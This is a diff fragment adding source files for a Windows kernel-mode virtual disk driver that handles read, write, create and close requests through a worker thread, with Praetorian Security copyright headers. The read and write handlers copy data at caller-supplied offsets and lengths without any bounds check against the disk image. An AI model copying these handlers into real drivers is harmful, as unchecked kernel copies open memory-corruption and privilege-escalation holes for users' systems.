+ HANDLE ProcessHandle;
+
+} VFS_DEVICE_EXTENSION, *PVFS_DEVICE_EXTENSION;
+
+//
+// VFS Function Prototypes
+//
+
+NTSTATUS
+VFSInit(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+ );
+
+NTSTATUS
+VFSCreateDisk(
+ IN PUNICODE_STRING DeviceName,
+ IN PUNICODE_STRING DriveName,
+ IN PUNICODE_STRING FilePath,
+ OUT PDEVICE_OBJECT *VFSHandle,
+ IN PVFS_KEY SymmetricKey,
+ IN PLARGE_INTEGER VFSSize,
+ IN ULONG FSType
+ );
diff --git a/src/vfscompat.c b/src/vfscompat.c
new file mode 100755
index 0000000..f8dd18c
--- /dev/null
+++ b/src/vfscompat.c
@@ -0,0 +1,98 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "vfs.h"
+
+NTSTATUS
+VFSCreateClose(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+
+/*++
+
+ Routine Description:
+
+ Handler for IRP_MJ_(CREATE|CLOSE) we just complete these requests
+ as being successful since they are not really applicable with what
+ our driver does
+
+ Arguments:
+
+ DeviceObject - DeviceObject associated with device IRP is destined
+
+ irp - I/O Request Packet associated with request
+
+ Return Value:
+
+ Always returns successful status
+
+--*/
+
+{
+ UNREFERENCED_PARAMETER(DeviceObject);
+
+ irp->IoStatus.Status = STATUS_SUCCESS;
+ irp->IoStatus.Information = 0;
+
+ IoCompleteRequest(irp, IO_NO_INCREMENT);
+
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS
+VFSIRPUnsupported(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+
+/*++
+
+ Routine Description:
+
+ Generic handler for IRPs which are not supported we return a
+ status of STATUS_NOT_IMPLEMENTED
+
+ Arguments:
+
+ DeviceObject - device associated with the IRP
+
+ irp - I/O Request Packet
+
+ Return Value:
+
+ Returns status saying that the request is not implemented
+
+--*/
+
+{
+ NTSTATUS status;
+
+ UNREFERENCED_PARAMETER(DeviceObject);
+
+ //
+ // Since we are the lowest level driver in the device stack we
+ // do not have a lower level driver for which we need to pass
+ // unsupported IRPs
+ //
+
+ status = irp->IoStatus.Status = STATUS_NOT_IMPLEMENTED;
+ IoCompleteRequest(irp, IO_NO_INCREMENT);
+
+ return status;
+}
diff --git a/src/vfscompat.h b/src/vfscompat.h
new file mode 100644
index 0000000..fdb5efc
--- /dev/null
+++ b/src/vfscompat.h
@@ -0,0 +1,20 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+NTSTATUS VFSCreateClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp);
+NTSTATUS VFSIRPUnsupported(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp);
diff --git a/src/vfsio.c b/src/vfsio.c
new file mode 100755
index 0000000..8cee117
--- /dev/null
+++ b/src/vfsio.c
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "vfs.h"
+
+NTSTATUS
+VFSRead(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+
+/*++
+
+ Routine Description:
+
+ Handler for IRP_MJ_READ requests to VFS
+
+ Arguments:
+
+ DeviceObject - DeviceObject associated with device IRP is destined
+
+ irp - I/O Request Packet associated with request
+
+Return Value:
+
+ Always returns successfully
+
+--*/
+
+{
+ PUCHAR src;
+ PUCHAR dest;
+ PIO_STACK_LOCATION irpStack;
+ PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject);
+
+ irpStack = IoGetCurrentIrpStackLocation(irp);
+
+ src = (PUCHAR)(VFSExtension->DiskImage + irpStack->Parameters.Read.ByteOffset.LowPart);
+ dest = MmGetSystemAddressForMdl(irp->MdlAddress);
+
+ RtlCopyBytes(dest, src, irpStack->Parameters.Read.Length);
+
+ irp->IoStatus.Information = irpStack->Parameters.Read.Length;
+ IoCompleteRequest(irp, IO_NO_INCREMENT);
+
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS
+VFSWrite(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+
+/*++
+
+ Routine Description:
+
+ Handler for IRP_MJ_WRITE requests to VFS
+
+ Arguments:
+
+ DeviceObject - device associated with the IRP
+
+ irp - I/O Request Packet
+
+Return Value:
+
+ Always returns successfully
+
+--*/
+
+{
+ PUCHAR src;
+ PUCHAR dest;
+ PIO_STACK_LOCATION irpStack;
+ PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject);
+
+ irpStack = IoGetCurrentIrpStackLocation(irp);
+
+ src = (PUCHAR)(VFSExtension->DiskImage + irpStack->Parameters.Write.ByteOffset.LowPart);
+ dest = MmGetSystemAddressForMdl(irp->MdlAddress);
+
+ RtlCopyBytes(src, dest, irpStack->Parameters.Write.Length);
+
+ irp->IoStatus.Information = irpStack->Parameters.Read.Length;
+ IoCompleteRequest(irp, IO_NO_INCREMENT);
+
+ return STATUS_SUCCESS;
+}
\ No newline at end of file
diff --git a/src/vfsio.h b/src/vfsio.h
new file mode 100644
index 0000000..055e057
--- /dev/null
+++ b/src/vfsio.h
@@ -0,0 +1,20 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+NTSTATUS VFSRead(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp);
+NTSTATUS VFSWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp);
diff --git a/src/vfsworker.c b/src/vfsworker.c
new file mode 100644
index 0000000..486e39d
--- /dev/null
+++ b/src/vfsworker.c
@@ -0,0 +1,185 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "vfs.h"
+#include "vfsio.h"
+
+NTSTATUS
+PrepareVFSWorkerThread(
+ IN PDEVICE_OBJECT DeviceObject
+ )
+
+/*++
+
+Routine Description:
+
+ Creates a worker thread which is responsible for handling read/write operations
+ to the virtual file system
+
+Arguments:
+
+ DeviceObject - DeviceObject associated with the virtual file system
+
+Return Value:
+
+ Returns an NTSTATUS code indicating success or failure
+
+--*/
+
+{
+ HANDLE WorkerThread;
+ NTSTATUS status;
+ PVFS_DEVICE_EXTENSION VFSExtension;
+
+ VFSExtension = VFS_EXTENSION(DeviceObject);
+
+ //
+ // Initializes synchronization primitives used for synchronizing
+ // access to/from the virtual file system
+ //
+
+ InitializeListHead(&VFSExtension->QueueListHead);
+ KeInitializeSpinLock(&VFSExtension->lockQueue);
+ KeInitializeSemaphore(&VFSExtension->semQueue, 0 , MAXLONG);
+
+ //
+ // Creates a worker thread which will be responsible for handling read/write
+ // requests to the virtual file system
+ //
+
+ status = PsCreateSystemThread(&WorkerThread,
+ (ACCESS_MASK)0,
+ NULL,
+ (HANDLE)0,
+ NULL,
+ VFSWorkerThread,
+ DeviceObject);
+
+ if(!NT_SUCCESS(status)) {
+ DbgPrint("[IG] Failed to Create a Worker Thread for the VFS");
+ return status;
+ }
+
+ ZwClose(WorkerThread);
+
+ return status;
+}
+
+VOID
+VFSWorkerThread(
+ IN PDEVICE_OBJECT DeviceObject
+ )
+
+/*++
+
+Routine Description:
+
+ Waits for read/write operations to be added to the work queue and waits in
+ an alertable state for items to be added to the queue if it is empty
+
+Arguments:
+
+ DeviceObject the
+
+Return Value:
+
+ VOID (no return)
+
+--*/
+
+{
+ PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject);
+ PLIST_ENTRY ListEntry;
+ PIRP irp;
+ PIO_STACK_LOCATION irpStack;
+
+ PAGED_CODE();
+
+ while(TRUE) {
+
+ //
+ // If we don't have any more requests to process we just sleep and
+ // for more requets to be added to the queue
+ //
+
+ KeWaitForSingleObject(&VFSExtension->semQueue,
+ Executive,
+ KernelMode,
+ FALSE,
+ NULL);
+
+ ListEntry = ExInterlockedRemoveHeadList(&VFSExtension->QueueListHead,
+ &VFSExtension->lockQueue);
+ irp = CONTAINING_RECORD(ListEntry, IRP, Tail.Overlay.ListEntry);
+
+ //
+ // Route request to read/write handler
+ //
+
+ irpStack = IoGetCurrentIrpStackLocation(irp);
+
+ if(irpStack->MajorFunction == IRP_MJ_READ) {
+ VFSRead(DeviceObject, irp);
+ } else if(irpStack->MajorFunction == IRP_MJ_WRITE) {
+ VFSWrite(DeviceObject, irp);
+ }
+
+ }
+}
+
+NTSTATUS
+VFSQueueWorkItem(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ )
+
+/*++
+
+ Routine Description:
+
+ Queues read/write I/O request packet to work queue which will then
+ be read by the worker thread which monitors the work queue and
+ completes the IRP
+
+ Arguments:
+
+ DeviceObject - DeviceObject associated with the VFS which is
+ trying to be read/written to
+
+ irp - I/O Request Packet associated with the read/write request
+
+ Return Value:
+
+ Returns STATUS_PENDING to indicate that the IRP is waiting to
+ be processed by worker thread
+
+--*/
+
+{
+ PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject);
+
+ IoMarkIrpPending(irp);
+
+ ExInterlockedInsertTailList(&VFSExtension->QueueListHead,
+ &irp->Tail.Overlay.ListEntry,
+ &VFSExtension->lockQueue);
+
+ KeReleaseSemaphore(&VFSExtension->semQueue, 0, 1, FALSE);
+
+ return STATUS_PENDING;
+}
diff --git a/src/vfsworker.h b/src/vfsworker.h
new file mode 100644
index 0000000..db0fa12
--- /dev/null
+++ b/src/vfsworker.h
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+NTSTATUS
+VFSQueueWorkItem(
+ IN PDEVICE_OBJECT DeviceObject,
+ IN PIRP irp
+ );
+
+NTSTATUS
+PrepareVFSWorkerThread(
+ IN PDEVICE_OBJECT DeviceObject
+ );
+
+VOID
+VFSWorkerThread(
+ IN PDEVICE_OBJECT DeviceObject
+ );
\ No newline at end of file